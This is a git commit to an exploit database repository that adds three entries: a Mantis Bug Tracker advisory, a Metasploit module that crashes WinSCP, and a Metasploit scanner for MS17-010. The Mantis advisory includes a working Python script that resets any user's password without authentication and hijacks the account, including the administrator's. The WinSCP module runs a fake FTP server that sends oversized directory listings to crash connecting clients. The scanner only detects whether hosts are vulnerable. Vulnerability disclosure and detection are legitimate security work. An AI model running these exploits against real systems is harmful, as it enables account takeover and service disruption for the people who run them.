From cc2ec16c5dc93004e95dcaa3fc9f6e4928013415 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 18 Apr 2017 05:01:21 +0000 Subject: [PATCH] DB: 2017-04-18 3 new exploits WinSCP 5.9.4 - 'LIST' Denial of Service (Metasploit) Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit) Openexpert 0.5.17 - SQL Injection Openexpert 0.5.17 - 'area_id' Parameter SQL Injection Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset --- files.csv | 5 +- platforms/php/webapps/41890.txt | 174 +++++++++++++ platforms/windows/dos/41889.rb | 419 ++++++++++++++++++++++++++++++++ platforms/windows/dos/41891.rb | 141 +++++++++++ 4 files changed, 738 insertions(+), 1 deletion(-) create mode 100755 platforms/php/webapps/41890.txt create mode 100755 platforms/windows/dos/41889.rb create mode 100755 platforms/windows/dos/41891.rb diff --git a/files.csv b/files.csv index 98e4d0ecc..a1e8e4507 100644 --- a/files.csv +++ b/files.csv @@ -4560,6 +4560,7 @@ id,file,description,date,author,platform,type,port 37306,platforms/linux/dos/37306.txt,"Mosh - Remote Denial of Service",2012-05-22,"Timo Juhani Lindfors",linux,dos,0 37267,platforms/windows/dos/37267.py,"foobar2000 1.3.8 - '.m3u' Local Crash (PoC)",2015-06-12,0neb1n,windows,dos,0 37268,platforms/windows/dos/37268.py,"GoldWave 6.1.2 - Local Crash (PoC)",2015-06-12,0neb1n,windows,dos,0 +41889,platforms/windows/dos/41889.rb,"WinSCP 5.9.4 - 'LIST' Denial of Service (Metasploit)",2017-04-16,"mohammed Mohammed",windows,dos,0 37286,platforms/windows/dos/37286.py,"FileZilla 3.11.0.2 SFTP Module - Denial of Service",2015-06-15,3unnym00n,windows,dos,0 37287,platforms/windows/dos/37287.html,"Cisco AnyConnect Secure Mobility 2.x/3.x/4.x - Client Denial of Service (PoC)",2015-06-15,LiquidWorm,windows,dos,0 37291,platforms/windows/dos/37291.py,"Putty 0.64 - Denial of Service",2015-06-15,3unnym00n,windows,dos,0 @@ -5468,6 +5469,7 @@ id,file,description,date,author,platform,type,port 41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0 41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0 41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0 +41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -37266,7 +37268,7 @@ id,file,description,date,author,platform,type,port 41083,platforms/php/webapps/41083.txt,"dirLIST 0.3.0 - Arbitrary File Upload",2017-01-17,hyp3rlinx,php,webapps,0 41084,platforms/php/webapps/41084.txt,"BoZoN 2.4 - Remote Code Execution",2017-01-17,hyp3rlinx,php,webapps,0 41086,platforms/aspx/webapps/41086.txt,"Check Box 2016 Q2 Survey - Multiple Vulnerabilities",2017-01-17,"Fady Mohammed Osman",aspx,webapps,0 -41087,platforms/php/webapps/41087.txt,"Openexpert 0.5.17 - SQL Injection",2017-01-17,"Nassim Asrir",php,webapps,0 +41087,platforms/php/webapps/41087.txt,"Openexpert 0.5.17 - 'area_id' Parameter SQL Injection",2017-01-17,"Nassim Asrir",php,webapps,0 41091,platforms/php/webapps/41091.txt,"Medical Clinic Website Script - SQL Injection",2017-01-18,"Ihsan Sencan",php,webapps,0 41092,platforms/php/webapps/41092.txt,"Fileserve Clone Script - Authentication Bypass",2017-01-18,"Ihsan Sencan",php,webapps,0 41093,platforms/php/webapps/41093.txt,"Auction Website Script - SQL Injection",2017-01-18,"Ihsan Sencan",php,webapps,0 @@ -37747,3 +37749,4 @@ id,file,description,date,author,platform,type,port 41882,platforms/multiple/webapps/41882.html,"agorum core Pro 7.8.1.4-251 - Persistent Cross-Site Scripting",2017-04-13,"SySS GmbH",multiple,webapps,0 41884,platforms/php/webapps/41884.rb,"Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)",2017-04-13,"Peter Lapp",php,webapps,0 41885,platforms/php/webapps/41885.txt,"Concrete5 8.1.0 - 'Host' Header Injection",2017-04-14,hyp3rlinx,php,webapps,0 +41890,platforms/php/webapps/41890.txt,"Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset",2017-04-16,hyp3rlinx,php,webapps,0 diff --git a/platforms/php/webapps/41890.txt b/platforms/php/webapps/41890.txt new file mode 100755 index 000000000..b2ea1e319 --- /dev/null +++ b/platforms/php/webapps/41890.txt @@ -0,0 +1,174 @@ +[+] Credits: John Page a.k.a hyp3rlinx +[+] Website: hyp3rlinx.altervista.org +[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt +[+] ISR: ApparitionSec + + + +Vendor: +================ +www.mantisbt.org + + + +Product: +================== +Mantis Bug Tracker +v1.3.0 / 2.3.0 + +MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases. + + +Vulnerability Type: +=============================== +Pre-Auth Remote Password Reset + + + +CVE Reference: +============== +CVE-2017-7615 + + + +Security Issue: +================ +Mantis account verification page 'verify.php' allows resetting ANY user's password. +Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username. + +Vulnerable code: + +In verify.php line 66: + +if( $f_confirm_hash != $t_token_confirm_hash ) { + +trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR ); + +} + +This code attempts to verify a user account and compares hashes for a user request. +However, by supplying empty value we easily bypass the security check. + +e.g. + +http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash= + +This will then allow you to change passwords and hijack ANY mantisbt accounts. + +All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected. + + +References: +============ +https://mantisbt.org/bugs/view.php?id=22690#c56509 + + + +POC Video URL: +============== +https://vimeo.com/213144905 + + + +Exploit/POC: +============= +import cookielib,urllib,urllib2,time + +print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0' +print '1.2.x versions are not affected' +print 'Remote Password Reset 0day Exploit' +print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n' + +IP=raw_input("[Mantis Victim IP]>") +realname=raw_input("[Username]") +verify_user_id=raw_input("[User ID]") +passwd=raw_input("[New Password]") + +TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash=' + +values={} +account_update_token='' +#verify_user_id='1' #Admin = 1 +#realname='administrator' #Must be known or guessed. + + +#REQUEST 1, get Mantis account_update_token +cookies = cookielib.CookieJar() + +opener = urllib2.build_opener( + urllib2.HTTPRedirectHandler(), + urllib2.HTTPHandler(debuglevel=0), + urllib2.HTTPSHandler(debuglevel=0), + urllib2.HTTPCookieProcessor(cookies)) + +res = opener.open(TARGET) + +arr=res.readlines() +for s in arr: + if 'account_update_token' in s: + break + + +#print s[61:-38] +ACCT_TOKEN=s[61:-38] + +time.sleep(0.3) + +#REQUEST 2 Hijack the Admin Account +TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php' +values = {'verify_user_id' : '1', + 'account_update_token' : ACCT_TOKEN, + 'realname' : realname, + 'password' : passwd, + 'password_confirm' : passwd} + +data = urllib.urlencode(values) + +opener = urllib2.build_opener( +urllib2.HTTPRedirectHandler(), +urllib2.HTTPHandler(debuglevel=0), +urllib2.HTTPSHandler(debuglevel=0), +urllib2.HTTPCookieProcessor(cookies)) + +response = opener.open(TARGET, data) +the_page = response.read() +http_headers = response.info() + +#print http_headers +print response.getcode() +print 'Account Hijacked!' +time.sleep(2) + + + + +Network Access: +=============== +Remote + + + + +Severity: +========= +Critical + + + +Disclosure Timeline: +============================= +Vendor Notification: April 7, 2017 +Vendor acknowledged: April 7, 2017 +Vendor patch created: April 10, 2017 +Vendor Disclosure: April 16, 2017 +April 16, 2017 : Public Disclosure + + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information +or exploits by the author or elsewhere. All content (c). \ No newline at end of file diff --git a/platforms/windows/dos/41889.rb b/platforms/windows/dos/41889.rb new file mode 100755 index 000000000..b221c552b --- /dev/null +++ b/platforms/windows/dos/41889.rb @@ -0,0 +1,419 @@ +## +# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application) + +# Date: [4-4-2017] mm.dd.yy +# Exploit Author: [M.Ibrahim] vulnbug@gmail.com +# E-Mail: vulnbug gmail.com +# Vendor Home Page: https://winscp.net/eng/index.php +# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe +# Version: [WinSCP 5.9.4] +# Tested on: windows 7 x86 +## +#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all +#then run -j +#now fake ftp server is ready +#try to connect to this fake ftp server with winscp client and it will crush +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Exploit::Remote::TcpServer + + def initialize() + super( + 'Name' => 'WinSCP CRUSHER', + 'Description' => %q{ + This module will Crush WinSCP FTP client + }, + 'Author' => [ 'M.Ibrahim ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.google.com' ], + ] + ) + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), + OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]), + OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]), + OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]), + OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), + OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]), + OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]), + OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]), + OptBool.new('ERROR', [ true, "Reply with error codes only",false]), + OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true]) + ], self.class) + end + + + + def support_ipv6? + false + end + + def setup + super + @state = {} + end + + def run + @fuzzsize=datastore['STARTSIZE'].to_i + exploit() + end + + + def on_client_connect(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :user => nil, + :pass => nil + } + + print_status("Client connected : " + c.peerhost) + active_data_port_for_client(c, 20) + send_response(c,"","WELCOME",220," "+datastore['WELCOME']) + + end + + def on_client_close(c) + @state.delete(c) + end + + + def passive_data_port_for_client(c) + @state[c][:mode] = :passive + if(not @state[c][:passive_sock]) + s = Rex::Socket::TcpServer.create( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 0, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + dport = s.getsockname[2] + @state[c][:passive_sock] = s + @state[c][:passive_port] = dport + + end + @state[c][:passive_port] + end + + + def active_data_port_for_client(c,port) + @state[c][:mode] = :active + connector = Proc.new { + host = c.peerhost.dup + sock = Rex::Socket::Tcp.create( + 'PeerHost' => host, + 'PeerPort' => port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + } + @state[c][:active_connector] = connector + @state[c][:active_port] = port + + end + + + def establish_data_connection(c) + + begin + Timeout.timeout(20) do + if(@state[c][:mode] == :active) + return @state[c][:active_connector].call() + end + if(@state[c][:mode] == :passive) + return @state[c][:passive_sock].accept + end + end + + rescue ::Exception => e + print_error("Failed to establish data connection: #{e.class} #{e}") + end + nil + end + + + def on_client_data(c) + + data = c.get_once + return if not data + + cmd,arg = data.strip.split(/\s+/, 2) + arg ||= "" + + return if not cmd + + case cmd.upcase.strip + + when 'USER' + @state[c][:user] = arg + send_response(c,arg,"USER",331," User name okay, need password") + return + + when 'PASS' + @state[c][:pass] = arg + send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.") + return + + when 'QUIT' + if (datastore['RESET']) + print_status("Resetting fuzz settings") + @fuzzsize = datastore['STARTSIZE'] + @stepsize = datastore['STEPSIZE'] + end + print_status("** Client disconnected **") + send_response(c,arg,"QUIT",221," User logged out") + return + + when 'SYST' + send_response(c,arg,"SYST",215," UNIX Type: L8") + return + + when 'TYPE' + send_response(c,arg,"TYPE",200," Type set to #{arg}") + return + + when 'CWD' + send_response(c,arg,"CWD",250," CWD Command successful") + return + + when 'PWD' + send_response(c,arg,"PWD",257," \"/\" is current directory.") + return + + when 'REST' + send_response(c,arg,"REST",200," OK") + return + + when 'XPWD' + send_response(c,arg,"PWD",257," \"/\" is current directory") + return + + when 'SIZE' + send_response(c,arg,"SIZE",213," 1") + return + + when 'MDTM' + send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}") + return + + when 'CDUP' + send_response(c,arg,"CDUP",257," \"/\" is current directory") + return + + when 'PORT' + port = arg.split(',')[4,2] + if(not port and port.length == 2) + c.put("500 Illegal PORT command.\r\n") + return + end + port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0] + active_data_port_for_client(c, port) + send_response(c,arg,"PORT",200," PORT command successful") + return + + when 'PASV' + + daddr = Rex::Socket.source_address(c.peerhost) + dport = passive_data_port_for_client(c) + @state[c][:daddr] = daddr + @state[c][:dport] = dport + pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',') + dofuzz = fuzz_this_cmd("PASV") + code = 227 + if datastore['ERROR'] + code = 557 + end + if (dofuzz==1) + + send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n") + incr_fuzzsize() + else + send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})") + end + return + + when /^(LIST|NLST|LS)$/ + + + conn = establish_data_connection(c) + if(not conn) + c.put("425 Can't build data connection\r\n") + return + end + + code = 150 + if datastore['ERROR'] + code = 550 + end + c.put("#{code} Here comes the directory listing.\r\n") + code = 226 + if datastore['ERROR'] + code = 550 + end + c.put("#{code} Directory send ok.\r\n") + strfile = "passwords.txt" + strfolder = "Secret files" + dofuzz = fuzz_this_cmd("LIST") + if (dofuzz==1) + strfile = @fuzzdata + ".txt" + strfolder = @fuzzdata + paylen = @fuzzdata.length + + incr_fuzzsize() + end + + dirlist = "" + if datastore['EXTRALINE'] + extra = "\r\n" + else + extra = "" + end + dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra + dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra + conn.put("total 2\r\n"+dirlist) + conn.close + return + + when 'RETR' + + + conn = establish_data_connection(c) + if(not conn) + c.put("425 Can't build data connection\r\n") + return + end + print_status(" - Data connection set up") + strcontent = "blahblahblah" + dofuzz = fuzz_this_cmd("LIST") + if (dofuzz==1) + strcontent = @fuzzdata + paylen = @fuzzdata.length + + incr_fuzzsize() + end + c.put("150 Opening BINARY mode data connection #{strcontent}\r\n") + print_status(" - Sending data via data connection") + conn.put(strcontent) + c.put("226 Transfer complete\r\n") + conn.close + return + + when /^(STOR|MKD|REM|DEL|RMD)$/ + send_response(c,arg,cmd.upcase,500," Access denied") + return + + when 'FEAT' + send_response(c,arg,"FEAT","","211-Features:\r\n211 End") + return + + when 'HELP' + send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)") + + when 'SITE' + send_response(c,arg,"SITE",200," OK") + return + + when 'NOOP' + send_response(c,arg,"NOOP",200," OK") + return + + when 'ABOR' + send_response(c,arg,"ABOR",225," Abor command successful") + return + + when 'ACCT' + send_response(c,arg,"ACCT",200," OK") + return + + when 'RNFR' + send_response(c,arg,"RNRF",350," File exists") + return + + when 'RNTO' + send_response(c,arg,"RNTO",350," File exists") + return + else + send_response(c,arg,cmd.upcase,200," Command not understood") + return + end + return + end + + + + + def fuzz_this_cmd(cmd) + @fuzzcommands = datastore['FUZZCMDS'].split(",") + fuzzme = 0 + @fuzzcommands.each do |thiscmd| + if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0) + fuzzme = 1 + end + end + if fuzzme==1 + + if datastore['CYCLIC'] + @fuzzdata = Rex::Text.pattern_create(@fuzzsize) + else + @fuzzdata = "A" * @fuzzsize + end + end + return fuzzme + end + + def incr_fuzzsize + @stepsize = datastore['STEPSIZE'].to_i + @fuzzsize = @fuzzsize + @stepsize + + if (@fuzzsize > datastore['ENDSIZE'].to_i) + @fuzzsize = datastore['ENDSIZE'].to_i + end + end + + + + def send_response(c,arg,cmd,code,msg) + if arg.length > 40 + showarg = arg[0,40] + "..." + else + showarg = arg + end + if cmd.length > 40 + showcmd = cmd[0,40] + "..." + else + showcmd = cmd + end + + dofuzz = fuzz_this_cmd(cmd) + + if (dofuzz==1) && (cmd.upcase != "PASV") + paylen = @fuzzdata.length + + if datastore['ERROR'] + code = "550 " + end + if cmd=="FEAT" + @fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End" + end + if cmd=="PWD" + @fuzzdata = " \"/"+@fuzzdata+"\" is current directory" + end + cmsg = code.to_s + " " + @fuzzdata + c.put("#{cmsg}\r\n") + print_status("* Fuzz data sent") + incr_fuzzsize() + else + + cmsg = code.to_s + msg + cmsg = cmsg.strip + c.put("#{cmsg}\r\n") + end + return + end +end diff --git a/platforms/windows/dos/41891.rb b/platforms/windows/dos/41891.rb new file mode 100755 index 000000000..6a6ff7437 --- /dev/null +++ b/platforms/windows/dos/41891.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# auxiliary/scanner/smb/smb_ms_17_010 + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS17-010 SMB RCE Detection', + 'Description' => %q{ + Uses information disclosure to determine if MS17-010 has been patched or not. + Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0. + If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does + not have the MS17-010 patch. + + This module does not require valid SMB credentials in default server + configurations. It can log on as the user "\" and connect to IPC$. + }, + 'Author' => [ 'Sean Dillon ' ], + 'References' => + [ + [ 'CVE', '2017-0143'], + [ 'CVE', '2017-0144'], + [ 'CVE', '2017-0145'], + [ 'CVE', '2017-0146'], + [ 'CVE', '2017-0147'], + [ 'CVE', '2017-0148'], + [ 'MSB', 'MS17-010'], + [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx'] + ], + 'License' => MSF_LICENSE + )) + end + + def run_host(ip) + begin + status = do_smb_probe(ip) + + if status == "STATUS_INSUFF_SERVER_RESOURCES" + print_warning("Host is likely VULNERABLE to MS17-010!") + report_vuln( + host: ip, + name: self.name, + refs: self.references, + info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$' + ) + elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE" + # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) + print_good("Host does NOT appear vulnerable.") + else + print_bad("Unable to properly detect if host is vulnerable.") + end + + rescue ::Interrupt + print_status("Exiting on interrupt.") + raise $! + rescue ::Rex::Proto::SMB::Exceptions::LoginError + print_error("An SMB Login Error occurred while connecting to the IPC$ tree.") + rescue ::Exception => e + vprint_error("#{e.class}: #{e.message}") + ensure + disconnect + end + end + + def do_smb_probe(ip) + connect + + # logon as user \ + simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) + + # connect to IPC$ + ipc_share = "\\\\#{ip}\\IPC$" + simple.connect(ipc_share) + tree_id = simple.shares[ipc_share] + + print_status("Connected to #{ipc_share} with TID = #{tree_id}") + + # request transaction with fid = 0 + pkt = make_smb_trans_ms17_010(tree_id) + sock.put(pkt) + bytes = sock.get_once + + # convert packet to response struct + pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct + pkt.from_s(bytes[4..-1]) + + # convert error code to string + code = pkt['SMB'].v['ErrorClass'] + smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new + status = smberr.get_error(code) + + print_status("Received #{status} with FID = 0") + status + end + + def make_smb_trans_ms17_010(tree_id) + # make a raw transaction packet + pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct + simple.client.smb_defaults(pkt['Payload']['SMB']) + + # opcode 0x23 = PeekNamedPipe, fid = 0 + setup = "\x23\x00\x00\x00" + setup_count = 2 # 2 words + trans = "\\PIPE\\\x00" + + # calculate offsets to the SetupData payload + base_offset = pkt.to_s.length + (setup.length) - 4 + param_offset = base_offset + trans.length + data_offset = param_offset # + 0 + + # packet baselines + pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode + pkt['Payload']['SMB'].v['TreeID'] = tree_id + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count + pkt['Payload'].v['ParamCountMax'] = 0xffff + pkt['Payload'].v['DataCountMax'] = 0xffff + pkt['Payload'].v['ParamOffset'] = param_offset + pkt['Payload'].v['DataOffset'] = data_offset + + # actual magic: PeekNamedPipe FID=0, \PIPE\ + pkt['Payload'].v['SetupCount'] = setup_count + pkt['Payload'].v['SetupData'] = setup + pkt['Payload'].v['Payload'] = trans + + pkt.to_s + end +end